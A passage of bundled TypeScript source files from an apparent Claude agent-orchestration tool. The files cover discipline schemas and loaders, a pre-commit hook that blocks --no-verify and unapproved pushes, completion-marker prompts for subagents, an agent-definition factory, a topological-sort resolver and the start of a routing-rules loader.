D-09):\n// base shape (4 file) karpathy / output-style / language / operational\n// priority_hierarchy shape priority.yaml (ordered array of capability tier name)\n// protocols shape protocols.yaml (Record<string, ProtocolShape>)\n//\n// 18th surface schema_version: harnessed.discipline.v1 (per T3.3.W0.11 ADD).\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 + RESEARCH-disciplines § 1 verbatim.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst EnforcementLayer = Type.Union([\n Type.Literal('code-writing'), // karpathy 心法 — write code phase\n Type.Literal('output'), // BLUF / language / no-emoji — emit response phase\n Type.Literal('commit'), // biome / A7 / commit safety — pre-commit phase\n Type.Literal('workflow'), // priority hierarchy / protocols — workflow-level arbitration\n Type.Literal('tool'), // tool invoke discipline (reserved for v3.x extension)\n])\n\nconst Enforcement = Type.Union([\n Type.Literal('halt'), // process.exit non-zero, sister fallbackHandlers\n Type.Literal('warn'), // console.warn emit, continue\n Type.Literal('auto-fix'), // run auto_fix_cmd then continue (biome --write pattern)\n Type.Literal('info'), // log only, no action\n])\n\nexport const DisciplineRule = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case\n description: Type.String(), // human-readable\n enforcement: Enforcement,\n trigger: Type.Union([Type.String(), Type.Array(Type.String())]), // expr OR always-on list\n check_method: Type.String(), // heuristic / regex / external-cmd / llm-judge / file-content-match\n auto_fix_cmd: Type.Optional(Type.String()), // only enforcement=auto-fix\n },\n { additionalProperties: false },\n)\n\n// priority.yaml 专字段 — 7-tier capability hierarchy\nconst PriorityHierarchy = Type.Array(Type.String(), { minItems: 1 })\n\n// protocols.yaml 专字段 — Ideation→Onboarding + Plan→Execute + file-ownership-strict\nconst ProtocolShape = Type.Object(\n {\n description: Type.String(),\n required_fields: Type.Optional(Type.Array(Type.String())),\n forbidden_phrases: Type.Optional(Type.Array(Type.String())),\n file_ownership: Type.Optional(Type.Record(Type.String(), Type.Array(Type.String()))),\n rules: Type.Optional(Type.Array(DisciplineRule)),\n },\n { additionalProperties: false },\n)\n\nexport const Discipline = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.discipline),\n discipline: Type.String({ minLength: 1 }), // basename (karpathy / output-style / ...)\n enforcement_layer: EnforcementLayer,\n auto_enforce: Type.Boolean(),\n rules: Type.Array(DisciplineRule),\n priority_hierarchy: Type.Optional(PriorityHierarchy), // priority.yaml only\n protocols: Type.Optional(Type.Record(Type.String(), ProtocolShape)), // protocols.yaml only\n },\n { additionalProperties: false },\n)\n\nexport type DisciplineT = Static<typeof Discipline>\nexport type DisciplineRuleT = Static<typeof DisciplineRule>\nexport type ProtocolShapeT = Static<typeof ProtocolShape>\n","// src/workflow/disciplineLoader.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 D-09).\n// Sister judgmentResolver.ts pattern: module-level Map<basename, DisciplineT> cache,\n// load + TypeBox validate on first access, subsequent cache hit.\n//\n// Public API:\n// loadDiscipline(basename, packageRoot): Promise<DisciplineT>\n// loadAllApplied(disciplines_applied[] | undefined, packageRoot):\n// Promise<Map<basename, DisciplineT>> — undefined defaults to all 6\n// getRule(basename, rule_id): DisciplineRuleT | undefined (sync, requires prior load)\n// _clearDisciplineCache(): void (test-only)\n//\n// Hot path: master orchestrator workflow load + 4 hook query path.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { Discipline, type DisciplineRuleT, type DisciplineT } from './schema/discipline.js'\n\n/** All 6 LOCKED basenames per D-09 — sister DisciplineName Literal Union. */\nexport const DEFAULT_APPLIED: readonly string[] = [\n 'karpathy',\n 'output-style',\n 'language',\n 'operational',\n 'priority',\n 'protocols',\n]\n\nconst _cache = new Map<string, DisciplineT>()\n\nexport async function loadDiscipline(basename: string, packageRoot: string): Promise<DisciplineT> {\n const cached = _cache.get(basename)\n if (cached) return cached\n const yamlPath = resolve(packageRoot, 'workflows', 'disciplines', `${basename}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n if (!Value.Check(Discipline, parsedRaw)) {\n const errors = [...Value.Errors(Discipline, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid discipline file ${basename}.yaml: ${errors}`)\n }\n const parsed = parsedRaw as DisciplineT\n _cache.set(basename, parsed)\n return parsed\n}\n\nexport async function loadAllApplied(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n const applied =\n disciplines_applied && disciplines_applied.length > 0 ? disciplines_applied : DEFAULT_APPLIED\n const out = new Map<string, DisciplineT>()\n for (const basename of applied) {\n out.set(basename, await loadDiscipline(basename, packageRoot))\n }\n return out\n}\n\nexport function getRule(basename: string, ruleId: string): DisciplineRuleT | undefined {\n const d = _cache.get(basename)\n if (!d) return undefined\n return d.rules.find((r) => r.id === ruleId)\n}\n\n/** Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n * stay independent. Production callers should never touch this. */\nexport function _clearDisciplineCache(): void {\n _cache.clear()\n}\n","// src/discipline/enforcement/before-commit.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: git commit / push cmd dispatch 前;ralph-loop / subagent / 主 session 全走此 hook.\n// Reads operational.yaml rule[id=biome-preempt + no-push-without-approval + no-skip-hooks]\n// → enforce halt OR auto-fix per yaml enforcement field.\n//\n// Sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern.\n\nimport { execSync } from 'node:child_process'\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface CommitHookCtx {\n changedFiles: readonly string[]\n cmdArgs: readonly string[]\n packageRoot: string\n cmdType: 'git-commit' | 'git-push'\n /** Whether user has explicitly approved the operation (push gate). */\n hasUserApproval: boolean\n}\n\nconst TS_JS_RE = /\\.(ts|tsx|js|mjs)$/\n\nexport async function runBeforeCommitHook(ctx: CommitHookCtx): Promise<void> {\n const d = await loadDiscipline('operational', ctx.packageRoot)\n\n // Rule: biome-preempt — auto-fix if TS/JS files in commit\n if (ctx.cmdType === 'git-commit' && ctx.changedFiles.some((f) => TS_JS_RE.test(f))) {\n const rule = d.rules.find((r) => r.id === 'biome-preempt')\n if (rule?.auto_fix_cmd) {\n console.warn('⚠️ biome preempt — running auto-fix before commit')\n execSync(rule.auto_fix_cmd, { cwd: ctx.packageRoot, stdio: 'inherit' })\n }\n }\n\n // Rule: no-skip-hooks — halt if --no-verify present (no user override at hook level\n // — D-09 LOCKED, only main session bypass via user explicit cmd line invoke)\n if (ctx.cmdArgs.includes('--no-verify')) {\n console.error('❌ no-skip-hooks violated: --no-verify forbidden')\n process.exit(2)\n }\n\n // Rule: no-push-without-approval — halt if push + no approval\n if (ctx.cmdType === 'git-push' && !ctx.hasUserApproval) {\n console.error('❌ no-push-without-approval: user explicit approval required')\n process.exit(2)\n }\n}\n","// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: { status?: CompletionStatus }\n text?: string\n result?: string\n}\n","// Phase 1.4 T3.3 — main agent system prompt verbatim COMPLETE template (Pattern O).\n// Phase 1.5 T5.1 — `<promise>COMPLETE</promise>` XML wrapper upgrade (ADR 0009 §\n// Decision Errata 3 / D1.5-4 sub-item 3 / R2 fresh 2026-05-14).\n// Phase 2.2 W2 T2.3 — dual-signal PRIMARY schema inject (ADR 0011 errata B-02\n// B-27 PATTERNS § 2.3 / § 2.5 row 5). Belt-and-suspenders: when outputFormat\n// json_schema is set on the query, agents emit a structured object conforming\n// to COMPLETION_SCHEMA (PRIMARY signal); they ALSO emit\n// `<promise>COMPLETE</promise>` (FALLBACK signal — required for inner-layer\n// subagent completion detection per RESEARCH § 1.3 4-layer table).\n//\n// IMPL NOTE — 1:1 对应 docs/AGENT-DEFINITION-FACTORY-CONTRACT.md § 5.4 verbatim\n// COMPLETE template. D-18 plan-checker enforce: any drift here = ADR 0009+\n// errata trigger. F33 P1 mitigation — main agent must pass subagent final\n// message verbatim (no summarize/paraphrase) so that the COMPLETE token\n// survives round-trip.\n//\n// Phase 1.5 upgrade: raw `^COMPLETE$/m` regex → `<promise>COMPLETE</promise>`\n// verbatim XML wrapper. The XML wrapper disambiguates think-out-loud text (e.g.\n// \"I should output COMPLETE to signal done\") from the actual completion signal.\n// SPIKE-REPORT-2.md § 3 validated `<promise>([^<]+)</promise>` extract is robust\n// against false positives that the raw `^COMPLETE$/m` regex was prone to.\n// Switching to the official `--add-plugin ralph-wiggum` plugin (phase 2.1+,\n// ADR 0010+ evaluation window) keeps this protocol unchanged — `<promise>...\n// </promise>` is the ralph-wiggum official tag format.\n//\n// Pattern O (phase 1.4) — verbatim instructional prompt template; the const\n// SYSTEM_PROMPT is the single source of truth consumed by engine.ts and echoed\n// inside agentDefinition.ts via COMPLETE_INSTRUCTION (routing-engine.test.ts\n// asserts toContain to lock drift).\n\nimport { COMPLETION_SCHEMA } from './completionSchema.js'\n\n/** Main agent system prompt — F33 P1 verbatim COMPLETE 强制 + skills fail-fast\n * + max-iterations × maxTurns 兜底. Sourced 1:1 from contract § 5.4.\n * Phase 2.2 W2 T2.3 appends a dual-signal segment for the SC3 PRIMARY path. */\nexport const SYSTEM_PROMPT = `## RULE: subagent COMPLETE marker\nWhen you spawn a subagent and it returns a final message:\n1. **DO NOT summarize, paraphrase, or interpret the subagent's final message**\n2. **DO NOT skip or omit the COMPLETE marker**\n3. The subagent will emit \\`<promise>COMPLETE</promise>\\` (exact verbatim XML wrapper) when done\n4. You MUST verbatim grep \\`<promise>COMPLETE</promise>\\` from final message → if present, treat task as done\n5. If \\`<promise>COMPLETE</promise>\\` absent → re-spawn subagent (max 20 iterations); after max, throw VerbatimCompleteFailError\n\n## skills fail-fast handling\n- SkillNotInstalledError → print user-friendly fix command (e.g., \"Run: harnessed install <name>\")\n- RestartRequiredError → print \"请 exit + restart Claude Code 让 plugin 生效\"\n\n## 兜底 max-iterations\n- max-iterations 20 (external ralph-loop) × maxTurns 50 (internal AgentDefinition) = 1000 round-trips worst case\n\n## Completion signal (dual-signal — emit BOTH)\nIf \\`outputFormat: { type: 'json_schema' }\\` is set on this query, emit a final-turn output conforming to the schema (status/phase/summary/blockers — keys: ${Object.keys(COMPLETION_SCHEMA.properties).join(', ')}).\nAND emit \\`<promise>COMPLETE</promise>\\` (FALLBACK signal — required regardless of structured output presence, for inner-layer subagent completion detection per RESEARCH § 1.3).\n`\n\n/** Subagent-side CRITICAL RULE — prepended into AgentDefinition.prompt by the\n * factory (T3.2). Instructs the subagent to emit `<promise>COMPLETE</promise>`\n * verbatim once done so the main agent's XML-wrapper extract matches without\n * paraphrase loss and without think-out-loud false positives. */\nexport const COMPLETE_INSTRUCTION = `## CRITICAL RULE: COMPLETE marker\nWhen your task is done, emit the exact verbatim XML wrapper\n\\`<promise>COMPLETE</promise>\\` on its own line and nothing else after it. Do\nNOT emit any other variant — not \"completed\", not \"DONE\", not bare \\`COMPLETE\\`,\nnot \"✅\". The parent agent will verbatim grep \\`<promise>COMPLETE</promise>\\` —\nany deviation fails the round-trip and forces a re-spawn (max 20 iterations).\n`\n","// Phase 1.4 T3.2 — AgentDefinition factory (1:1 docs/AGENT-DEFINITION-FACTORY-\n// CONTRACT.md v1, frozen at phase 1.3 ship).\n// Phase 1.5 T5.3 — contract v1.1: 12 → 14 字段 (ADR 0009 § Decision Errata 1 /\n// D1.5-4 sub-item 1). Adds `initialPrompt` (Stable) +\n// `criticalSystemReminder_EXPERIMENTAL` (Experimental — `_EXPERIMENTAL` suffix\n// signals the field name itself may change without a semver bump).\n//\n// IMPL NOTE — implements docs/AGENT-DEFINITION-FACTORY-CONTRACT.md v1.1 (v1\n// frozen at phase 1.3 ship; v1.1 additive errata appended at phase 1.5). ADR\n// 0009 § Decision Errata 1 cross-link tracks the 12 → 14 字段 delta. D-14\n// throw-error (not Result wrap) — typed error classes propagate to engine.ts\n// narrow into EngineResult. D1.4-14 prepends Karpathy 4 心法 always-on baseline\n// + COMPLETE_INSTRUCTION (1:1 imported from systemPrompt.ts T3.3). Any enum\n// drift across the 14 字段 = ADR 0009+ errata trigger (D-18 enforce — W-5 V1\n// BLOCKER drift detector enum extended 12 → 14: see AGENT_DEFINITION_FIELDS +\n// routing-engine.test.ts cell 13 / routing-agentDefinition.test.ts cell 1).\n//\n// IMPL NOTE — F40-2 (executor 2026-05-13): contract § 3 shows\n// `import type { AgentDefinition } from '@anthropic-ai/claude-agent-sdk'` as\n// the ideal anchor. package.json does NOT include the SDK runtime dep; to\n// preserve karpathy YAGNI + avoid an architectural surface change mid-execute,\n// this file declares the AgentDefinition shape **structurally 1:1** with\n// contract § 2 inline. Drift caught by routing-agentDefinition.test.ts cell 1\n// (memory + permissionMode enum value assert — B-1/B-2 V1 BLOCKER fix). SDK\n// type alias migration deferred to phase 1.5 (D1.4-2 errata window).\n// SPIKE-REPORT.md § 3 verbatim COMPLETE round-trip FEASIBLE on Win Git Bash\n// claude CLI v2.1.133 — verbatim grep `^COMPLETE$/m` stable.\n\nimport { existsSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { COMPLETE_INSTRUCTION } from './systemPrompt.js'\n\n/** AgentDefinition — structural mirror of contract § 2 v1.1 (14 fields). Drift\n * caught by routing-agentDefinition.test.ts cell 1 + routing-engine.test.ts\n * cell 13 enum value asserts (W-5 V1 BLOCKER drift detector — 14 字段). */\nexport interface AgentDefinition {\n // Required (§ 2.1)\n description: string\n prompt: string\n // Optional (§ 2.2 — 10 fields)\n tools?: string[]\n disallowedTools?: string[]\n model?: 'sonnet' | 'opus' | 'haiku' | 'inherit' | string\n skills?: string[]\n mcpServers?: Record<string, unknown>\n memory?: 'user' | 'project' | 'local'\n maxTurns?: number\n background?: boolean\n effort?: 'low' | 'medium' | 'high' | 'xhigh' | 'max' | number\n permissionMode?: 'default' | 'acceptEdits' | 'bypassPermissions' | 'plan'\n // v1.1 errata (§ 2.3 — ADR 0009 § Decision Errata 1, 2026-05-14)\n /** Stable (2026-05): auto-submitted as the first user turn when a plugin\n * agent runs as the main-thread agent (plugin settings.json `agent: <name>`\n * upgrade scenario only). */\n initialPrompt?: string\n /** EXPERIMENTAL: critical reminder injected into the system prompt. The\n * `_EXPERIMENTAL` suffix signals the API may rename this field WITHOUT a\n * semver bump — monitor code.claude.com/docs/en/agent-sdk/typescript release\n * notes (ADR 0009 § Consequences 负面 3). */\n criticalSystemReminder_EXPERIMENTAL?: string\n}\n\n/** W-5 V1 BLOCKER drift detector — the canonical 14-field name list (contract\n * v1.1 § 2). Any add/remove here MUST land with a matching contract.md errata\n * + test cell (D-18 enforce). Extended 12 → 14 at phase 1.5 T5.3. */\nexport const AGENT_DEFINITION_FIELDS = [\n 'description',\n 'prompt',\n 'tools',\n 'disallowedTools',\n 'model',\n 'skills',\n 'mcpServers',\n 'memory',\n 'maxTurns',\n 'background',\n 'effort',\n 'permissionMode',\n 'initialPrompt',\n 'criticalSystemReminder_EXPERIMENTAL',\n] as const\n\n/** Routing arbitrate output (1:1 contract § 3). */\nexport interface ArbitrateResult {\n matched_rule_id: string | null\n primary_expert: string | null\n secondary_expert: string | null\n category: 'meta' | 'engineering' | 'design' | 'content' | 'testing' | 'search'\n forbidden_skills?: string[]\n complexity?: 'low' | 'medium' | 'high' | 'xhigh' | 'max'\n required_skills?: string[]\n}\n\n/** User task context (1:1 contract § 3). */\nexport interface TaskContext {\n task: string\n override_keywords?: string[]\n task_type?: string\n cwd?: string\n /** Phase identifier (e.g., \"3.1\") for checkpoint paths. Falls back to \"unknown\" if not provided.\n * Phase 3.1 W1 T1.1 — W-04 fix path (a): eliminates `(matched?.decision as any)?.phase` cast\n * (Karpathy \"Surgical Changes\" + type safety). */\n phaseId?: string\n}\n\n/** Caller overrides (1:1 contract § 3). */\nexport interface AgentDefinitionOpts {\n modelOverride?: AgentDefinition['model']\n permissionModeOverride?: AgentDefinition['permissionMode']\n effortOverride?: AgentDefinition['effort']\n maxTurnsOverride?: number\n /** Filesystem root for skills lookup (test injection); defaults to ~/.claude/skills/ */\n skillsRoot?: string\n}\n\n// 4 typed error classes (contract § 5.1) — D-14 throw-error path, narrowed in engine.ts.\nexport class SkillNotInstalledError extends Error {\n constructor(public skill: string) {\n super(`Skill not installed: ${skill}. Run: harnessed install ${skill} --apply`)\n this.name = 'SkillNotInstalledError'\n }\n}\nexport class InvalidDecisionError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InvalidDecisionError'\n }\n}\nexport class MissingSkillsError extends Error {\n constructor(public missing: string[]) {\n super(`Required skills missing: ${missing.join(', ')}`)\n this.name = 'MissingSkillsError'\n }\n}\nexport class RestartRequiredError extends Error {\n constructor(public hint: string) {\n super(hint)\n this.name = 'RestartRequiredError'\n }\n}\n\n/** Karpathy 4 心法 (D1.4-14) — always-on baseline prepended to every subagent. */\nconst KARPATHY_BASELINE = `## 心法 (always-on baseline)\n- Think Before Coding: read, plan, then write — never write before understanding.\n- Simplicity First: minimum effective code; avoid unnecessary abstraction.\n- Surgical Changes: small atomic edits; keep history clean.\n- Goal-Driven Execution: each step earns its place by satisfying a goal.\n`\n\n/** harnessed AgentDefinition factory — pure (no spawn). Throws typed errors\n * (D-14) for engine.ts narrow into EngineResult three-state union. */\nexport async function createAgent(\n task: TaskContext,\n decision: ArbitrateResult,\n opts: AgentDefinitionOpts = {},\n): Promise<AgentDefinition> {\n if (!decision.primary_expert) {\n throw new InvalidDecisionError('decision.primary_expert is required (got null)')\n }\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const requested =\n decision.required_skills ?? (decision.primary_expert ? [decision.primary_expert] : [])\n const isInstalled = (name: string) => existsSync(join(skillsRoot, name, 'SKILL.md'))\n const missing = requested.filter((s) => !isInstalled(s))\n if (missing.length === requested.length && requested.length > 0) {\n throw new MissingSkillsError(missing)\n }\n if (missing.length > 0) {\n throw new SkillNotInstalledError(missing[0] as string)\n }\n\n const promptBody = `${KARPATHY_BASELINE}\\n## 任务\\n${task.task}\\n\\n${COMPLETE_INSTRUCTION}`\n\n return {\n description: `Routing-engine spawned subagent (${decision.category}) — primary: ${decision.primary_expert}`,\n prompt: promptBody,\n tools: ['Read', 'Grep', 'Glob', 'Bash', 'Edit', 'Write'],\n disallowedTools: decision.forbidden_skills?.map((s) => `Skill(${s})`),\n model: opts.modelOverride ?? process.env.HARNESSED_AGENT_MODEL ?? 'inherit',\n skills: requested,\n mcpServers: undefined,\n memory: 'project',\n maxTurns: opts.maxTurnsOverride ?? 50,\n background: false,\n effort: opts.effortOverride ?? 'medium',\n permissionMode: opts.permissionModeOverride ?? 'default',\n // v1.1 errata (ADR 0009 § Decision Errata 1) — `initialPrompt` carries the\n // task body for the plugin-main-thread upgrade path;\n // `criticalSystemReminder_EXPERIMENTAL` re-asserts the verbatim\n // <promise>COMPLETE</promise> contract at the system-prompt layer.\n initialPrompt: task.task,\n criticalSystemReminder_EXPERIMENTAL: COMPLETE_INSTRUCTION,\n }\n}\n","// Phase 1.5 T3.1 — DAG resolver (Kahn's algorithm, iterative ≤200L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision (Errata 4 接口契约升级) + D1.5-1\n// lock. Kahn's algorithm (BFS + indegree queue), self-implemented, NO external\n// graph library (no graphlib / @dagrejs/graphlib / toposort) per karpathy\n// YAGNI — a ≤30L core handles ≤50 manifest dependency graphs. RESEARCH § 1.2\n// rationale for choosing Kahn over DFS-based toposort (4 points):\n// 1. iterative (queue-based) — no recursion, Node.js call-stack safe even\n// for deep linear chains (DFS recursion would risk stack overflow).\n// 2. queue-based — natural to emit a debug trace of processing order.\n// 3. cycle detection is a natural byproduct — after the queue drains, any\n// node with indegree ≠ 0 is provably part of a cycle.\n// 4. karpathy simplicity — the whole algorithm fits in one readable loop.\n// LOC budget: ≤200L hard limit (D-19). SPIKE-REPORT-2.md § 2 validated the\n// algorithm on 5 graph cases (linear / diamond / multi-root / single / cycle)\n// before this file existed — 5/5 PASS including E_DAG_CYCLE detection.\n//\n// Three-state discriminated union `DagResolveResult` mirrors `EngineResult`\n// (engine.ts) per the F41 takeaway — callers narrow on `result.ok` and the\n// TypeScript compiler guarantees `order` xor `cycle` access.\n\nimport { InvalidDecisionError } from './agentDefinition.js'\n\n/** A node identifier within the dependency graph. */\nexport type NodeId = string\n\n/** A single DAG node: an id plus the ids it depends on (edges point dep → id). */\nexport interface DagNode {\n /** Unique node identifier. */\n id: NodeId\n /** Ids this node depends on; each must resolve before this node. */\n deps: NodeId[]\n}\n\n/**\n * Three-state result of {@link resolveDag} — discriminated on `ok`:\n * - `{ ok: true, order }` — topological order (deps before dependents)\n * - `{ ok: false, cycle }` — cycle detected; `cycle` lists the offending nodes\n */\nexport type DagResolveResult = { ok: true; order: NodeId[] } | { ok: false; cycle: NodeId[] }\n\n/**\n * Resolve a dependency graph into a topological order using Kahn's algorithm.\n *\n * Iterative (no recursion) — BFS over an indegree queue. Deterministic output:\n * the ready queue is kept alphabetically sorted so the same graph always yields\n * the same ordering (eases debugging + snapshot tests).\n *\n * @param nodes - graph nodes; `deps` entries referencing unknown ids are ignored\n * (treated as already-satisfied external deps).\n * @returns `{ ok: true, order }` for an acyclic graph, or `{ ok: false, cycle }`\n * listing the nodes that form one or more cycles.\n */\nexport function resolveDag(nodes: DagNode[]): DagResolveResult {\n // Build the id set + adjacency (dep → dependents) + indegree map.\n const ids = new Set<NodeId>(nodes.map((n) => n.id))\n const adj = new Map<NodeId, NodeId[]>()\n const indegree = new Map<NodeId, number>()\n for (const id of ids) {\n adj.set(id, [])\n indegree.set(id, 0)\n }\n for (const node of nodes) {\n for (const dep of node.deps) {\n // Skip edges to unknown ids — external/already-satisfied dependencies.\n if (!ids.has(dep)) continue\n adj.get(dep)?.push(node.id)\n indegree.set(node.id, (indegree.get(node.id) ?? 0) + 1)\n }\n }\n\n // Seed the ready queue with every indegree-0 node, alphabetically sorted.\n const queue: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg === 0) queue.push(id)\n }\n queue.sort()\n\n // Kahn main loop — pop a ready node, emit it, decrement its dependents.\n const order: NodeId[] = []\n while (queue.length > 0) {\n const id = queue.shift() as NodeId\n order.push(id)\n let exposed = false\n for (const dependent of adj.get(id) ?? []) {\n const next = (indegree.get(dependent) ?? 0) - 1\n indegree.set(dependent, next)\n if (next === 0) {\n queue.push(dependent)\n exposed = true\n }\n }\n // Keep the queue sorted for deterministic ordering when new nodes appear.\n if (exposed) queue.sort()\n }\n\n // Cycle detection — any node not emitted still has indegree > 0 and is\n // provably part of a cycle (Kahn cannot reach it).\n if (order.length !== ids.size) {\n const cycle: NodeId[] = []\n for (const [id, deg] of indegree) {\n if (deg > 0) cycle.push(id)\n }\n cycle.sort()\n return { ok: false, cycle }\n }\n\n return { ok: true, order }\n}\n\n/**\n * Format a friendly, actionable error message for a detected dependency cycle.\n * Mirrors the phase 1.1 manifest-validate friendly-error style (label + hint +\n * doc reference) so CLI output stays consistent across subsystems.\n *\n * @param cycle - the cycle node ids returned by {@link resolveDag}.\n */\nexport function formatCycleError(cycle: NodeId[]): string {\n const chain = cycle.join(' → ')\n return [\n `Circular dependency detected in skills: ${chain}`,\n ` hint: check 'deps:' field in manifest spec; cycle members above must form an acyclic graph.`,\n ` see docs/adr/0009-routing-l2-engineering-23-shi-errata.md § DAG resolver friendly error.`,\n ].join('\\n')\n}\n\n/**\n * Resolve a graph and throw a typed {@link InvalidDecisionError} on a cycle —\n * convenience wrapper for callers (e.g. engine.ts) that prefer the throw-error\n * path (D-14) over manual three-state narrowing. Returns the topological order\n * directly on success.\n *\n * @param nodes - graph nodes.\n * @throws {InvalidDecisionError} when the graph contains a cycle.\n */\nexport function resolveDagOrThrow(nodes: DagNode[]): NodeId[] {\n const result = resolveDag(nodes)\n if (!result.ok) {\n throw new InvalidDecisionError(formatCycleError(result.cycle))\n }\n return result.order\n}\n","// Phase 1.3 T3.2 — routing/decision_rules.yaml v1 loader + Priority Hit Policy arbitrate.\n// Phase 1.5 T4.3 — v2 schema (mattpocock_phases + engineering rules) + F42 arbitrate.\n// Phase 2.3 W2 T2.2 — ADR 0012 errata: CD-3 negative-space + if_rejected_use redirect\n// sister fn `arbitrateWithRedirect` lives in lib/arbitrateRedirect.ts (proactive split,\n// 沿袭 Phase 2.2 sdkReconcile 先例). Legacy `arbitrate()` 保留 byte-stable (B-18 A7 守恒\n// + 30-sample routing-engine.test.ts byte-stable preservation per PATTERNS D-WP-5(b)).\n// IMPL NOTE (R2 § 1.3 + KICKOFF B1 + D1.3-3): yaml.parseDocument → toJS → Ajv strict\n// validate → checkCmdString 二次过滤 (B1 沿袭 phase 1.1.1 H7 pattern). 全局 rule-set,\n// 与 manifest.spec.decision_rules (per-manifest hint, ADR 0007) schema 完全独立.\n// 仅支持 PRIORITY hit policy (D1.3-3 lock); COLLECT/RULE_ORDER 等推 phase 1.4+.\n// Path migrated from .planning/ to routing/ in phase 1.3.1 sister patch M1\n// (ADR 0007 references in main body retained as ship-time accurate; ADR 0008\n// errata in phase 1.4 will officially document path).\n//\n// IMPL NOTE — phase 1.5 T4.3 (ADR 0009 § Decision / D1.5-12 / F42): v2 schema\n// is additive — `version` accepts 1 OR 2; an optional top-level\n// `mattpocock_phases` map (4 phase × skills + triggers) is allowed; RuleSchema\n// stays permissive (`when` / `decision` are open records) so engineering rules\n// carrying `keywords` / `skills_overlay` / `triggers` validate without a strict\n// per-field schema. `arbitrate` gains an F42 array-element substring match for\n// the new `keywords` field + `signals` task context — NO regex / embedding\n// deps (karpathy YAGNI). v1 scalar `task_type` matching is unchanged so the\n// phase 1.4 30-sample baseline + routing-engine tests stay byte-stable.\n\nimport { readFileSync } from 'node:fs'\nimport { type Static, Type as T } from '@sinclair/typebox'\nimport { Ajv } from 'ajv'\nimport { parseDocument } from 'yaml'\nimport { checkCmdString } from '../manifest/security.js'\n\nconst Domain = T.Union([\n T.Literal('meta'),\n T.Literal('engineering'),\n T.Literal('design'),\n T.Literal('content'),\n T.Literal('testing'),\n T.Literal('search'),\n])\nconst HitPolicy = T.Union([T.Literal('P'), T.Literal('F'), T.Literal('U')])\nconst Str1 = T.String({ minLength: 1 })\nconst ObjStrict = <P extends Parameters<typeof T.Object>[0]>(p: P) =>\n T.Object(p, { additionalProperties: false })\n\nconst RuleSchema = ObjStrict({\n id: Str1,\n priority: T.Integer({ minimum: 0 }),\n domain: Domain,\n when: T.Record(T.String(), T.Unknown()),\n decision: T.Record(T.String(), T.Unknown()),\n})\n\n/** v2 — mattpocock 23 招式 phase routing (4 phase × skills + triggers). */\nconst PhaseEntrySchema = ObjStrict({\n skills: T.Array(Str1, { minItems: 1 }),\n triggers: T.Array(Str1, { minItems: 1 }),\n})\nconst MattpocockPhasesSchema = ObjStrict({\n discuss: PhaseEntrySchema,\n plan: PhaseEntrySchema,\n execute: PhaseEntrySchema,\n verify: PhaseEntrySchema,\n})\n\nexport const DecisionRulesFileSchema = ObjStrict({\n // v2 additive (D1.5-10): accept v1 OR v2 — schema stays backward compatible.\n version: T.Union([T.Literal(1), T.Literal(2)]),\n hit_policy: HitPolicy,\n rules: T.Array(RuleSchema, { minItems: 1 }),\n // v2 — optional mattpocock_phases map; absent in v1 files.\n mattpocock_phases: T.Optional(MattpocockPhasesSchema),\n fallback_supervisor: T.Optional(ObjStrict({ trigger: Str1, llm: Str1 })),\n deprecated: T.Optional(T.Array(ObjStrict({ id: Str1, reason: Str1, fallback: Str1 }))),\n})\n\nexport type Rule = Static<typeof RuleSchema>\nexport type PhaseEntry = Static<typeof PhaseEntrySchema>\nexport type MattpocockPhases = Static<typeof MattpocockPhasesSchema>\nexport type DecisionRulesFile = Static<typeof DecisionRulesFileSchema>\nexport type TaskContext = Record<string, unknown>\n\nconst ajv = new Ajv({ strict: true, allErrors: true, allowUnionTypes: false })\nlet _compiled: ReturnType<typeof ajv.compile<DecisionRulesFile>> | null = null\nfunction getValidator() {\n if (!_compiled) _compiled = ajv.compile<DecisionRulesFile>(DecisionRulesFileSchema)\n return _compiled\n}\n\n/** Recursively scan string values for shell metacharacters (B1 gate). 